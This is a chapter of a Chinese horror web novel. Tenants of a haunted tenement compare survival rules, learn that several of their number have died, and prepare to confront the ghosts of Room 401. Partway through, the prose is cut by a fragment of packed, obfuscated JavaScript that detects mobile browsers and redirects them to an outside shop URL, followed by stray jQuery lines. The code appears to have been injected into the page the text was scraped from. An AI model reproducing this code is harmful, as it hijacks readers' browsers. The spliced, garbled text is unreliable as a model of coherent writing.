季昭白领着小弟,和刚才表演空中飞人的家伙,出了门。
没走上几步,又见一男子,倚在墙壁边,含笑望着他们。
似乎对他们刚才的表演很满意。
他兀自弯唇笑了下,才自我介绍道:“你们好,我叫云弗,住在401号房间。”
又看了眼季昭白拎着男人,笑,“这位你拎着的小熊,自我介绍为二白。是402号房的房客。”
他的声音温润而文雅,语气里含着徐缓的笑意。
生得也是一副很有知识的样子——
细长的眉,深而细的丹凤眼。
高挺的鼻梁上,架了一框细窄的金边眼镜。
季昭白对他绽放出一个‘文化人,你好’的友善笑容。
“季昭白,共青团员。”
为了给文化人留下一个不错的印象,季昭白慎重地介绍了自己当前的最高职务,“现借住在404号房间。”
说完,他又抬眼示意了下自己的小弟。
小弟眨了下眼,也似乎陷在对文化人的崇拜中。
他表情有些懵懵的,语气也有些呆,“哦,你好你好,我叫陆亦。”
犹豫了会儿,说,“……嗯,我的职务是,额,预备党员。”
云弗:……
二白:……
这404号房的人,脑子是不是都不太正常?
一旁季昭白眼神也跟着变了。
自己的小弟,竟然是党员么?
.
出了门,一群人也没敢堆在404门口聊天。
自我介绍完毕后,互相对了个眼神,打算沿着走廊,边走边说。
这是一栋老式的筒子楼。
一条笔直狭窄的走道,连接了四户人家。
左手边是齐腰高的栏杆,灰蒙蒙的天压在外头,天光照不透。
冷浸浸的,像是一块沾了水的湿抹布。
而另一侧,则是他们几人这些天的歇脚处。
401至404号房,四口铁门整齐地杵在青灰的墙体上。
像是黑暗中的四张口,更像是早已立好的墓碑,亟待吞噬众人的性命。
季昭白眯了眯眼,视线沿着脏污的墙体外推。
墙根下,是大袋大袋堆叠垃圾,横流的污水里,吱着无数只‘友善’的小动物。
各种健康、或不健康的小广告,沾得到处都是,于墙上,于地面,于天花板,简直贴得‘天花乱坠’。
而走道尽头……
季昭白眨了下眼。
唔,根本看不清楚。
阴冷的光线,似乎顺着锈蚀的栏杆,从外头滑了进来,令走道尽头浑然堆满了灰雾,仿佛在阻拦他们前行。
他收回视线,才刚走了一步,就感觉自己肩膀被蹭了下。
嗯?
这条走廊很窄,勉强能容得两个人通过。
偏偏有人就挤了上来,还一走一哆嗦。
于是,两个人一人擦着栏杆,另一人大约擦着墙。
脚步同频,活像是两只横着走的螃蟹。
季昭白侧过头,目光惊愕了一瞬。
原本以为抖的是他那胆小的小弟。
没想到,这开了震动模式的家伙,竟然是二白。
此刻,这位牛高马大,身穿小熊POLO衫,人住402号房间汉子,就缩在他身侧。
和他肩并肩,嘴里一个劲儿地发出‘呲呲’的抽气声。
开煤气罐呢?
而他的小弟被挤在后头,扯着他的衣角,哀怨地低声抱怨。
“嘶,好臭,好冷。这什么鬼地方?”
“幸福公寓。”压在最后的云弗含笑回应。
他的语气很平,有一种清淡的幽默。
季昭白觉得这里被他说得更冷了。
他尽量把冷透的氛围拉回来,“对了,你们的伙伴呢?”
云弗道:“正在屋里找线索,顺带做些家务。”
“其实,我一直有个问题想请教你们。”他拂了下眼镜,有些好奇地说,“你们家的鬼,不留你们劳动改造吗?”
这倒是没有。
不过,不用劳动又如何?
恐怕,他家的鬼恨不得把他们给拆了,直接生吞入腹。
说不得谁更倒霉呢。
“你们好倒霉哦!哼哼,我季哥昨晚就机智地把家务给推了。
嘿嘿,剩下几天,我们都不用做杂活哦~”
看不清形势的文盲大学生,开始无脑吹他。
他身侧的小熊汉,也投来崇拜羡慕的眼神。
“真好啊。”二白搓着手,嘬着嘴唇感叹道,“真好。”
季昭白脚步一顿,“真好,是什么意思?”
刚想仔细问问,又忽然想到了什么,狠狠皱起了眉头。
403。
明知道人数不对,也猜到了某种可能,他竟没第一时间提。
扫了眼某道房门,揣着微薄的希望,问,“你们没去敲403的门,对吗?”
“呵,我还以为你不会问呢。”
云弗低笑一声,修长的指推了下眼镜,徐徐道,“敲了。
并且以每五秒一次的频率,敲了一分钟……很可惜,没人搭理。”
季昭白低叹了声。
果然,403可能已经违反了某条规则,全房覆灭了。
而且,违反的大概是‘夜晚不能出门’这条规则。
他垂下眼,嘴唇轻轻抿了下。
就听二白迟疑地说:“她已经死了。”
嗯,我大概知道。
季昭白在心里应着,又陡然意识到,二白是在回先前那个问题。
——“真好,是什么意思?”
“她已经死了。”
留在402做家务的,已经死了。
也就是说,副本才开始,他们就只剩下了五人。
……这就是死亡率为百分之四十的D级副本么?
.
意识到这血淋淋的现实后,一行人沉默下来。
走道并不长,几步路走下来,就到了尽头。
401号的房门在右侧。
前面是缠绕绵延的灰雾,阴惨惨地挡着他们的去路。
躲在楼梯间交流的想法被完全打破。
一群人只能挤在401门口,团成一窝。
“就先这样吧。”季昭白道。
微微侧了下头,陆亦收到指示,忙把昨夜誊抄好的规则分发了下去。
待他们看完后,又做了他的‘代言人’,简短讲了下进入副本后的经历。
故事不长不短,直接把二白的脸讲得白惨惨的。
而云弗倒是维持住了一贯温文尔雅的模样。
他认真地把规则读了一遍,低声问,“这些规则,都是找齐了吗?”
季昭白似笑非笑:“大概吧。”
“抱歉,我没别的意思。”
“我只是担心……”他懊恼地跌下眸,薄唇抿直,“不是,我想说,多谢你分享线索。”
季昭白不是个小气的人,更对文化人特别大气。
他轻笑了声,“没事,优秀的青年团员,该为人民服务。”
“所以,请问人民家里,有食物给我吃吃吗?”
云弗温声笑道:“有的,有的。”
顿了顿,补充道,“季团员,忘了告诉你,你的推断完全正确。
401卧室里存放的食物,足够我们度过副本。”
原本压抑低沉的氛围,仿佛被这点玩笑,给开红了不少。
似乎是应了景儿,几人腹里同时响了几声。
“那要不我们先进去吃点?补充补充精力,再来讨论?”
二白有些夸张地揉着肚皮,“不怕你们笑,我真的快饿死了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099137|195684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“先别急。”
季昭白拦了下,对云弗道,“先说说401的情况。”
云弗微微颔首。
“和你们一样,我们同样是被鬼叫醒,同样前往客厅用餐,找线索,然后睡觉。”
“只不过,401里只有两只鬼。且它们异化程度应该不太深,未曾逼迫我们用餐。”
陆亦瞪大了眼,不服地问:“所以,你们就安安全全地搁那坐着,欣赏他们吃饭?”
“欣赏?”云弗温声笑了下,“是的。我们就这样看…欣赏着,自己面前的饭食却没动。
鬼用完饭后,见此,也没说什么,只把我们的那份拖过去,自己吃了。”
“敲!脾气这么好的鬼!”大学生发出怒音。
云弗歉意地朝他笑笑,继续道:“然后,它们告诫我们不要去厨房,就起身离开了。”
二白也点头:“我们也一样。”
陆亦汪地一声,快要哭出来,“这也太爽了吧。”
“那那那,你们怎么躲过那条‘夜晚不能出门’的规则呀?”
“也没怎么躲……”
云弗大拇指顶住食指关节,稍稍摩挲了下。
这似乎是他思考时的惯常动作。
他说,“同样,我们打算先找食物。
回到房间,在衣橱里轻易寻到了一柜子的吃食。
那食物太多了,我们觉得很疑惑…”
“泠鸢说……”云弗语气停了下,“哦,冷鸢是我室友。
她说食物分量不对,其他房间应该没有吃的。”
“所以,我们商量着,要不出来给你们送一点。”
“然而,当我们准备行动时,有只鬼一直在我们房门口徘徊。
我们决定等一会儿再行动。结果——”
季昭白把话接了过去:“结果,你们等到了鬼睡觉,鬼蹦迪?”
云弗被这形容给逗弯了眼。
他点点头:“没错。”
风轻云淡的没错,差点把陆大学生的脸色给没黑了。
那他们昨晚算什么?
算他们倒霉,算他们命不好吗?
视线不由挪向二白,语带期待:“那你呢?”
二白默默道:“402厕所里有窗。外面天太黑,我们不敢夜晚出门。所以……”
言下之意很明显。
陆亦一脑袋磕在栏杆上,“你们这也太幸运了吧?”
他不想说话了,默默地看着季哥,期待他表达些什么。
但季哥挑着眉,没说话,只冲着他递来道奇异的眼神。
那眼神,嘶,好奇怪,好似夹着点同情的意味?
同情他做什么呢?
季哥还不是和他一样,差点在饭桌前黄河大演奏,更差点和鬼一起蹦迪。
还没等他琢磨明白,只听那云弗温声开口:“正所谓福兮祸所依,祸兮福所伏。副本大约是公平的。”
他的声音很轻,很缓,淡淡说来时,像是扑面拂来的杨柳风。
是哦。
陆亦也知道,最危险的地方,相应的线索也会更多。
可他没那个脑子啊!
嗐,好苦,好难!
看了眼垂眸深思的季哥,行吧,陆亦再次坚定了自己的保镖的定位。
而他的季哥,已经升级成公认的大哥了。
他说了声‘走,去找401鬼聊聊’。
那两才结识不久的家伙,就缀在他身后,亦步亦趋。
他忙倒腾着腿,立刻跟上。
不想,季哥先走到402门口,随意提了袋垃圾,松松拎在手上。
这是要弄啥勒?
二白把他想问的问题,给问出了口。
他季哥眸光流转,视线落在某处,定了定。
寻而,笑着说:“见面礼。”
“初次上门,得拎点。”
……